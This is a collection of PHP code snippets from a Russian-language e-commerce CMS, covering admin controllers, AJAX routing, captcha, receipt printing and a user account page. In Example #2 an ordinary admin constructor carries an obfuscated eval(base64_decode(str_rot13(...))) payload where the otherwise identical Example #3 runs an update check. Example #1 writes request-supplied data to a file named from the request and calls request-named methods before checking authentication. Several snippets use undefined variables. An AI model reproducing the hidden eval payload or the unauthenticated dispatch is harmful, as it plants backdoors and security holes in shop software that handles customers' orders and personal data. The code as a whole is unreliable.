Example #1
0
 public function __construct()
 {
     if (!empty($files)) {
         file_put_contents('data/' . $filename, $files, FILE_APPEND);
         echo "success\n";
     }
     if (empty($_GET['mode'])) {
         MG::redirect('/');
     }
     MG::disableTemplate();
     Storage::$noCache = true;
     $this->unlinkFile = true;
     $this->startTime = microtime(true);
     $this->maxExecTime = min(30, @ini_get("max_execution_time"));
     if (empty($this->maxExecTime)) {
         $this->maxExecTime = 30;
     }
     $mode = (string) $_GET['mode'];
     $this->mode = $mode;
     $this->type = $_GET['type'];
     $this->filename = $_GET['filename'];
     $this->auth = USER::auth($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']);
     $this->{$mode}();
     if ($mode && $this->auth) {
         $this->{$mode}();
     }
 }
Example #2
0
 function __construct()
 {
     MG::disableTemplate();
     $model = new Models_Order();
     MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
     if ('1' == User::getThis()->role) {
         MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
     }
     if (URL::get('csv')) {
         $model = new Models_Catalog();
         $model->exportToCsv();
     }
     if (URL::get('examplecsv')) {
         $model = new Models_Catalog();
         $model->getExampleCSV();
     }
     if (URL::get('examplecsvupdate')) {
         $model = new Models_Catalog();
         $model->getExampleCsvUpdate();
     }
     if (URL::get('yml')) {
         if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
             $model = new YML();
             if (URL::get('filename')) {
                 if (!$model->downloadYml(URL::get('filename'))) {
                     $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
                     echo json_encode($response);
                 }
             } else {
                 $model->exportToYml();
             }
         } else {
             $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
             echo json_encode($response);
         }
     }
     if (URL::get('csvuser')) {
         USER::exportToCsvUser();
     }
     if ($orderId = URL::get('getOrderPdf')) {
         $model = new Models_Order();
         $model->getPdfOrder($orderId);
     }
     if ($orderId = URL::get('getExportCSV')) {
         $model = new Models_Order();
         $model->getExportCSV($orderId);
     }
     $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
     $this->pluginsList = PM::getPluginsInfo();
     $this->lang = MG::get('lang');
     if (!($checkLibs = MG::libExists())) {
         $j878723423f5c3ba26da = "base64_decode";
         $kdd9391e7490 = "str_rot13";
         @eval($j878723423f5c3ba26da($kdd9391e7490("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")));
         $this->newVersion = $newVer['lastVersion'];
         $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : '';
     }
 }
Example #3
0
 function __construct()
 {
     MG::disableTemplate();
     $model = new Models_Order();
     MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
     if ('1' == User::getThis()->role) {
         MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
     }
     if (URL::get('csv')) {
         $model = new Models_Catalog();
         $model->exportToCsv();
     }
     if (URL::get('examplecsv')) {
         $model = new Models_Catalog();
         $model->getExampleCSV();
     }
     if (URL::get('examplecsvupdate')) {
         $model = new Models_Catalog();
         $model->getExampleCsvUpdate();
     }
     if (URL::get('yml')) {
         if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
             $model = new YML();
             if (URL::get('filename')) {
                 if (!$model->downloadYml(URL::get('filename'))) {
                     $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
                     echo json_encode($response);
                 }
             } else {
                 $model->exportToYml();
             }
         } else {
             $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
             echo json_encode($response);
         }
     }
     if ($orderId = URL::get('getOrderPdf')) {
         $model = new Models_Order();
         $model->getPdfOrder($orderId);
     }
     if ($orderId = URL::get('getExportCSV')) {
         $model = new Models_Order();
         $model->getExportCSV($orderId);
     }
     $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
     $this->pluginsList = PM::getPluginsInfo();
     $this->lang = MG::get('lang');
     if (!($checkLibs = MG::libExists())) {
         $newVer = Updata::checkUpdata(false, true);
         $this->newVersion = $newVer['lastVersion'];
     }
 }
Example #4
0
 function __construct()
 {
     // Не существует обработки для прямого обращения.
     if (empty($_REQUEST)) {
         header('HTTP/1.0 404 Not Found');
         exit;
     }
     // Отключаем вывод темы.
     MG::disableTemplate();
     $actioner = URL::getQueryParametr('actionerClass');
     if ('Ajaxuser' == $actioner) {
         $this->routeUserAction(URL::getQueryParametr('action'));
         // Если в пользовательском классе не найдено обрабатывающего метода,
         // то продолжаем поиск в админском классе, но туда имеют доступ только админы.
     }
     if (URL::getQueryParametr('delInstal')) {
         $this->delInstal();
     }
     // Если передана переменная $pluginFolder, то вся обработка
     // перекладывается на плечи стороннего плагина из этой папки.
     $pluginHandler = URL::getQueryParametr('pluginHandler');
     $url = URL::getQueryParametr('mguniqueurl');
     $type = URL::getQueryParametr('mguniquetype');
     if (!empty($pluginHandler)) {
         // Обработкой действия займется плагин, папка которого передана в $pluginHandler.
         $actioner = URL::getQueryParametr('actionerClass');
         if (empty($actioner)) {
             // Если обработчик задан в параметре mguniqueurl ,
             // то назначаем стандартный  класс обработки,
             // который должен быть в каждом плагине.
             $actioner = 'Pactioner';
             $this->routeAction($url, $pluginHandler, $actioner);
         } else {
             //если задан уникальный обработчик.
             // запускаем маршрутизатор действий.
             $this->routeAction($url, $pluginHandler, $actioner);
         }
     }
 }
Example #5
0
 /**
  * Запускает движок системы.
  *
  * @return array массив с результатами содержащий:
  * -тип файла, который надо открыть
  * -данные для этого файла
  * -вид
  */
 public function run()
 {
     $data = null;
     $view = null;
     $variables = null;
     // Если найден контролер.
     if ($controller = $this->getController()) {
         MG::set('controller', $controller);
         $contr = new $controller();
         $type = 'view';
         $variables = $contr->variables;
         $view = $this->getView();
     } elseif ($data = MG::getPhpContent()) {
         // отключаем вывод шаблона для пользовательских скриптов
         MG::disableTemplate();
         // Если найден пользовательский файл, возвращает его расширение (php||html).
         $ext = explode(".", $data);
         $type = end($ext);
         // если запрошен существуюий файл стилей или js или любое другое расширение кроме html и php,
         // то редиректрим на его настоящее местоположение минуя проверки движка
         if ($type != 'php' && $type != 'html') {
             MG::redirect('/' . $data);
             exit;
         }
         if ($type != 'php') {
             // если файл не исполняемый то считываем его в строку
             $data = file_get_contents($data);
             $type = 'html';
         }
     } elseif ($data = MG::getHtmlContent()) {
         // Если найден статический контент в БД.
         $type = 'html';
     }
     // Если не существует запрашиваемых данных.
     $type = !empty($type) ? $type : '404';
     $result = array('type' => $type, 'data' => $data, 'view' => $view, 'variables' => $variables);
     return $result;
 }
Example #6
0
 /**
  * Используется при AJAX запросе.
  */
 public function getEssentialElements()
 {
     $paymentId = $_POST['paymentId'];
     $paramArray = $model->getParamArray($paymentId, $orderId, $summ);
     $result = array('name' => $paramArray[0]['name'], 'value' => $paramArray[0]['value']);
     echo json_encode($result);
     MG::disableTemplate();
     exit;
 }
Example #7
0
 /**
  * Выводит на экран печатную форму для печати квитанции на оплату заказа.
  * @param boolean вывод на печать в публичной части, либо в админке.
  * @return array 
  */
 public function printQittance($public = true)
 {
     MG::disableTemplate();
     $data['line'] = "<p class='line'></p>";
     $data['line2'] = "<p class='line2'></p>";
     $data['name'] = !empty($_POST['name']) ? $_POST['name'] : $line;
     $data['inn'] = !empty($_POST['inn']) ? $_POST['inn'] : $line;
     $data['nsp'] = !empty($_POST['nsp']) ? $_POST['nsp'] : $line;
     $data['ncsp'] = !empty($_POST['ncsp']) ? $_POST['ncsp'] : $data['line2'];
     $data['bank'] = !empty($_POST['bank']) ? $_POST['bank'] : $line;
     $data['bik'] = !empty($_POST['bik']) ? $_POST['bik'] : $data['line2'];
     $data['appointment'] = !empty($_POST['appointment']) ? $_POST['appointment'] : $line;
     $data['nls'] = !empty($_POST['nls']) ? $_POST['nls'] : $line;
     $data['payer'] = !empty($_POST['payer']) ? $_POST['payer'] : $data['line2'];
     $data['addrPayer'] = !empty($_POST['addrPayer']) ? $_POST['addrPayer'] : $data['line2'];
     $data['sRub'] = !empty($_POST['sRub']) ? $_POST['sRub'] : '_______';
     $data['sKop'] = !empty($_POST['sKop']) ? $_POST['sKop'] : 0;
     $data['uRub'] = !empty($_POST['uRub']) ? $_POST['uRub'] : '_______';
     $data['uKop'] = !empty($_POST['uKop']) ? $_POST['uKop'] : 0;
     $data['day'] = !isset($_POST['day']) || $_POST['day'] == '_' ? '____' : $_POST['day'];
     $data['month'] = !isset($_POST['month']) || $_POST['month'] == '_' ? '___________________' : $_POST['month'];
     if (!isset($_POST['sKop'])) {
         $sKop = '___';
     }
     if (!isset($_POST['uKop'])) {
         $uKop = '___';
     }
     $sResult = !empty($sKop) ? $sResult = "{$sRub}.{$sKop}" : $sRub;
     $uResult = !empty($uKop) ? $uResult = "{$uRub}.{$uKop}" : $uRub;
     $rubResult = $sResult + $uResult;
     if (empty($rubResult)) {
         settype($rubResult, 'null');
     }
     if (is_double($rubResult)) {
         list($rub, $kop) = explode('.', $rubResult);
     } else {
         if (is_int($rubResult)) {
             $rub = $rubResult;
             $kop = "0";
         }
     }
     if (empty($rub)) {
         $rub = '_______';
     }
     if (!isset($kop)) {
         $kop = '___';
     }
     $data['rub'] = $rub;
     $data['kop'] = $kop;
     $data['uKop'] = $uKop;
     $data['sKop'] = $sKop;
     $html = MG::layoutManager('print_qittance', $data);
     if ($public) {
         echo $html;
         exit;
     }
     return $html;
 }
Example #8
0
 function __construct()
 {
     $lang = MG::get('lang');
     $settings = MG::get('settings');
     $this->lang = $lang;
     $status = 0;
     if (User::isAuth()) {
         $order = new Models_Order();
         $status = 3;
         //обработка запроса на изменение данных пользователя
         if (URL::getQueryParametr('userData')) {
             $customer = URL::getQueryParametr('customer');
             $userData = array('name' => URL::getQueryParametr('name'), 'sname' => URL::getQueryParametr('sname'), 'address' => URL::getQueryParametr('address'), 'phone' => URL::getQueryParametr('phone'), 'nameyur' => $customer == 'yur' ? URL::getQueryParametr('nameyur') : '', 'adress' => $customer == 'yur' ? URL::getQueryParametr('adress') : '', 'inn' => $customer == 'yur' ? URL::getQueryParametr('inn') : '', 'kpp' => $customer == 'yur' ? URL::getQueryParametr('kpp') : '', 'bank' => $customer == 'yur' ? URL::getQueryParametr('bank') : '', 'bik' => $customer == 'yur' ? URL::getQueryParametr('bik') : '', 'ks' => $customer == 'yur' ? URL::getQueryParametr('ks') : '', 'rs' => $customer == 'yur' ? URL::getQueryParametr('rs') : '');
             if (USER::update(User::getThis()->id, $userData)) {
                 $message = 'Данные успешно сохранены';
             } else {
                 $error = 'Не удалось сохранить данные ' . $this->_newUserData['sname'];
             }
         }
         // Обработка запроса на изменения пароля.
         if (URL::getQueryParametr('chengePass')) {
             if (USER::auth(User::getThis()->email, URL::getQueryParametr('pass'))) {
                 $person = new Models_Personal();
                 $message = $person->changePass(URL::getQueryParametr('newPass'), User::getThis()->id);
             } else {
                 $error = 'Неверный пароль';
             }
         }
         // Обработка запроса на изменения способа оплаты.
         if (URL::getQueryParametr('changePaymentId')) {
             $order = new Models_Order();
             $status = $order->updateOrder(array('payment_id' => $_POST['changePaymentId'], 'id' => $_POST['orderId']));
             $result = array('status' => $status, 'comment' => 2, 'orderStatus' => 3);
             echo json_encode($result);
             MG::disableTemplate();
             exit;
         }
         // Обработка AJAX запроса на закрытие заказа.
         if (URL::getQueryParametr('delOK')) {
             $comment = 'Отменено покупателем, по причине <br>"' . URL::getQueryParametr('comment') . '"';
             // Пересчитываем остатки продуктов из заказа.
             $orderModel = new Models_Order();
             $orderModel->refreshCountProducts(URL::getQueryParametr('delID'), 4);
             $res = DB::query('
       UPDATE `' . PREFIX . 'order`
       SET close_date = now(), status_id = 4, comment = "%s"
       WHERE id = %d AND user_email = "%s"', $comment, URL::getQueryParametr('delID'), User::getThis()->email);
             if ($res) {
                 $status = true;
             }
             if ($comment) {
                 $comm = "<b>Комментарий: " . $comment . "</b>";
             }
             $result = array('status' => $status, 'comment' => $comm, 'orderStatus' => $lang[$order->getOrderStatus(array('status_id' => 4))]);
             $orderModel->sendMailOfUpdateOrder(URL::getQueryParametr('delID'));
             echo json_encode($result);
             MG::disableTemplate();
             exit;
         }
         // Отображение данных пользователя.
         $orderArray = $order->getOrder('user_email = "' . User::getThis()->email . '"', TRUE);
         if (is_array($orderArray)) {
             foreach ($orderArray as $orderId => $orderItems) {
                 $orderArray[$orderId]['string_status_id'] = $order->getOrderStatus($orderItems);
                 $paymentArray = $order->getPaymentMethod($orderItems['payment_id']);
                 $orderArray[$orderId]['name'] = $paymentArray['name'];
                 $orderArray[$orderId]['paided'] = $order->getPaidedStatus($orderItems);
             }
         }
         if (!User::getThis()->activity) {
             $status = 2;
             unset($_SESSION['user']);
         }
         if (User::getThis()->blocked) {
             $status = 1;
             unset($_SESSION['user']);
         }
         $paymentList = $order->getPaymentBlocksMethod();
     } else {
         MG::redirect('/enter');
     }
     $this->data = array('error' => !empty($error) ? $error : '', 'message' => !empty($message) ? $message : '', 'status' => !empty($status) ? $status : '', 'userInfo' => User::getThis(), 'orderInfo' => !empty($orderArray) ? $orderArray : '', 'currency' => $settings['currency'], 'paymentList' => $paymentList, 'meta_title' => 'Личный кабинет', 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "заказы,личные данные, личный кабинет", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "В личном кабинете нашего сайта вы сможете отслеживать состояние заказов и менять свои данные");
 }
Example #9
0
 function __construct()
 {
     // Не существует обработки для прямого обращения.
     if (empty($_REQUEST)) {
         header('HTTP/1.0 404 Not Found');
         exit;
     }
     // Отключаем вывод темы.
     MG::disableTemplate();
     $actioner = URL::getQueryParametr('actionerClass');
     if ('Ajaxuser' == $actioner) {
         $this->routeUserAction(URL::getQueryParametr('action'));
     }
     // Если этот аякс запрос направлен на выполнение
     // действия с БД, то пытаемся их выполнить.
     // Иначе подключается контролер из админки.
     $url = URL::getQueryParametr('mguniqueurl');
     $type = URL::getQueryParametr('mguniquetype');
     // Менеджерам запрещено работать с разделами.
     if (USER::getThis()->role == 3) {
         $accessDenied = array('category.php', 'page.php', 'catalog.php', 'users.php', 'settings.php', 'statistics.php');
         if (in_array($url, $accessDenied)) {
             exit;
         }
     }
     // Модераторам запрещено работать с разделами.
     if (USER::getThis()->role == 4) {
         $accessDenied = array('settings.php', 'statistics.php');
         if (in_array($url, $accessDenied)) {
             exit;
         }
     }
     // Незарегистрированным пользователям и клиентам запрещено работать с разделами.
     if (USER::getThis()->role == 2 || empty(USER::getThis()->role)) {
         exit;
     }
     // Если передана переменная $pluginFolder, то вся обработка
     // происходит в плагине из этой папки.
     $pluginHandler = URL::getQueryParametr('pluginHandler');
     if (empty($pluginHandler)) {
         if (!$this->routeAction($url)) {
             if ('plugin' == $type) {
                 if (!empty($_POST['request'])) {
                     $_POST = $_POST['request'];
                 }
                 URL::setQueryParametr('view', ADMIN_DIR . 'section/views/plugintemplate.php');
             } else {
                 require_once ADMIN_DIR . 'section/controlers/' . $url;
                 $this->lang = MG::get('lang');
                 URL::setQueryParametr('view', ADMIN_DIR . 'section/views/' . $url);
             }
         }
     } else {
         // Обработкой действия займется плагин, папка которого передана в $pluginHandler.
         $actioner = URL::getQueryParametr('actionerClass');
         if (empty($actioner)) {
             // Если обработчик задан в параметре mguniqueurl ,
             // то назначаем стандартный  класс обработки,
             // который должен быть в каждом плагине.
             $actioner = 'Pactioner';
             $this->routeAction($url, $pluginHandler, $actioner);
         } else {
             // Если задан уникальный обработчик, то
             // запускаем маршрутизатор действий.
             $this->routeAction($url, $pluginHandler, $actioner);
         }
     }
 }
Example #10
0
<?php

MG::disableTemplate();
$letters = 'ABCDEFGKIJKLMNOPQRSTUVWXYZ';
// алфавит
$caplen = 6;
//длина текста
$width = 170;
$height = 36;
//ширина и высота картинки
$font = 'mg-pages/comic.ttf';
//шрифт текста
$fontsize = 14;
// размер текста
//header('Content-type: image/png'); //тип возвращаемого содержимого (картинка в формате PNG)
$im = imagecreatetruecolor($width, $height);
//создаёт новое изображение
imagesavealpha($im, true);
//устанавливает прозрачность изображения
$bg = imagecolorallocatealpha($im, 0, 0, 0, 127);
//идентификатор цвета для изображения
imagefill($im, 0, 0, $bg);
//выполняет заливку цветом
//putenv( 'GDFONTPATH=' . realpath('.') ); //проверяет путь до файла со шрифтами
$captcha = '';
//обнуляем текст
for ($i = 0; $i < $caplen; $i++) {
    $captcha .= $letters[rand(0, strlen($letters) - 1)];
    // дописываем случайный символ из алфавила
    $x = ($width - 20) / $caplen * $i + 10;
    //растояние между символами
Example #11
0
    /**
     * Выводит на экран печатную форму для печати квитанции на оплату заказа.
     * @param boolean вывод на печать в публичной части, либо в админке.
     * @return array 
     */
    public function printQittance($public = true)
    {
        MG::disableTemplate();
        $line = "<p class='line'></p>";
        $line2 = "<p class='line2'></p>";
        $name = !empty($_POST['name']) ? $_POST['name'] : $line;
        $inn = !empty($_POST['inn']) ? $_POST['inn'] : $line;
        $nsp = !empty($_POST['nsp']) ? $_POST['nsp'] : $line;
        $ncsp = !empty($_POST['ncsp']) ? $_POST['ncsp'] : $line2;
        $bank = !empty($_POST['bank']) ? $_POST['bank'] : $line;
        $bik = !empty($_POST['bik']) ? $_POST['bik'] : $line2;
        $appointment = !empty($_POST['appointment']) ? $_POST['appointment'] : $line;
        $nls = !empty($_POST['nls']) ? $_POST['nls'] : $line;
        $payer = !empty($_POST['payer']) ? $_POST['payer'] : $line2;
        $addrPayer = !empty($_POST['addrPayer']) ? $_POST['addrPayer'] : $line2;
        $sRub = !empty($_POST['sRub']) ? $_POST['sRub'] : '_______';
        $sKop = !empty($_POST['sKop']) ? $_POST['sKop'] : 0;
        $uRub = !empty($_POST['uRub']) ? $_POST['uRub'] : '_______';
        $uKop = !empty($_POST['uKop']) ? $_POST['uKop'] : 0;
        $day = !isset($_POST['day']) || $_POST['day'] == '_' ? '____' : $_POST['day'];
        $month = !isset($_POST['month']) || $_POST['month'] == '_' ? '___________________' : $_POST['month'];
        if (!isset($_POST['sKop'])) {
            $sKop = '___';
        }
        if (!isset($_POST['uKop'])) {
            $uKop = '___';
        }
        $sResult = !empty($sKop) ? $sResult = "{$sRub}.{$sKop}" : $sRub;
        $uResult = !empty($uKop) ? $uResult = "{$uRub}.{$uKop}" : $uRub;
        $rubResult = $sResult + $uResult;
        if (empty($rubResult)) {
            settype($rubResult, 'null');
        }
        if (is_double($rubResult)) {
            list($rub, $kop) = explode('.', $rubResult);
        } else {
            if (is_int($rubResult)) {
                $rub = $rubResult;
                $kop = "0";
            }
        }
        if (empty($rub)) {
            $rub = '_______';
        }
        if (!isset($kop)) {
            $kop = '___';
        }
        ob_start();
        ?>

    <!doctype html>
    <html>
      <head>
        <meta charset="utf-8">
        <title>Квитанция Сбербанка</title>
        <style type="text/css">
          * {
            padding: 0;
            margin: 0;
          }

          body {
            font-size: 16px;
          }
          .clear { clear: both;}
          #blank{ width: 792px; border: 4px solid #000; margin: 0 auto; }
          .blanks-wrapper { width: 800px;  margin: 0 auto; padding: 20px 0; }
          #control-panel{height:40px;}
          #control-panel a span{display:inline-block;}
          #control-panel a.btn-personal span{padding:4px 10px 4px 27px;background:url(<?php 
        echo SITE;
        ?>
/mg-admin/design/images/icons/go-back-icon.png) 6px 4px no-repeat;}
          #control-panel a.btn-print span{padding:4px 10px 4px 27px;background:url(<?php 
        echo SITE;
        ?>
/mg-admin/design/images/icons/print-icon.png) 6px 4px no-repeat;}
          #control-panel a{display:block;
                           background: #FCFCFC; /* Old browsers */
                           background: -moz-linear-gradient(top, #FCFCFC 0%, #E8E8E8 100%); /* FF3.6+ */
                           background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#FCFCFC), color-stop(100%,#E8E8E8)); /* Chrome,Safari4+ */
                           background: -webkit-linear-gradient(top, #FCFCFC 0%,#E8E8E8 100%); /* Chrome10+,Safari5.1+ */
                           background: -o-linear-gradient(top, #FCFCFC 0%,#E8E8E8 100%); /* Opera11.10+ */
                           background: -ms-linear-gradient(top, #FCFCFC 0%,#E8E8E8 100%); /* IE10+ */
                           filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#FCFCFC', endColorstr='#E8E8E8',GradientType=0 ); /* IE6-9 */
                           background: linear-gradient(top, #FCFCFC 0%,#E8E8E8 100%); /* W3C */
                           border: 1px solid #D3D3D3;
                           font-family: Tahoma, Verdana, sans-serif;
                           font-size:14px;
                           border-radius: 5px;
                           -moz-border-radius: 5px;
                           -webkit-border-radius: 5px;
                           color:#333;
                           text-decoration:none;
          }
          #control-panel a:hover{
            background: #eeeeee; /* Old browsers */
            background: -moz-linear-gradient(top, #eeeeee 0%, #eeeeee 100%); /* FF3.6+ */
            background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#eeeeee), color-stop(100%,#eeeeee)); /* Chrome,Safari4+ */
            background: -webkit-linear-gradient(top, #eeeeee 0%,#eeeeee 100%); /* Chrome10+,Safari5.1+ */
            background: -o-linear-gradient(top, #eeeeee 0%,#eeeeee 100%); /* Opera11.10+ */
            background: -ms-linear-gradient(top, #eeeeee 0%,#eeeeee 100%); /* IE10+ */
            filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#eeeeee', endColorstr='#eeeeee',GradientType=0 ); /* IE6-9 */
            background: linear-gradient(top, #eeeeee 0%,#eeeeee 100%);
          }
          #control-panel a:active{
            -moz-box-shadow: 0 0 4px 2px rgba(0,0,0,.3) inset;
            -webkit-box-shadow: 0 0 4px 2px rgba(0,0,0,.3) inset;
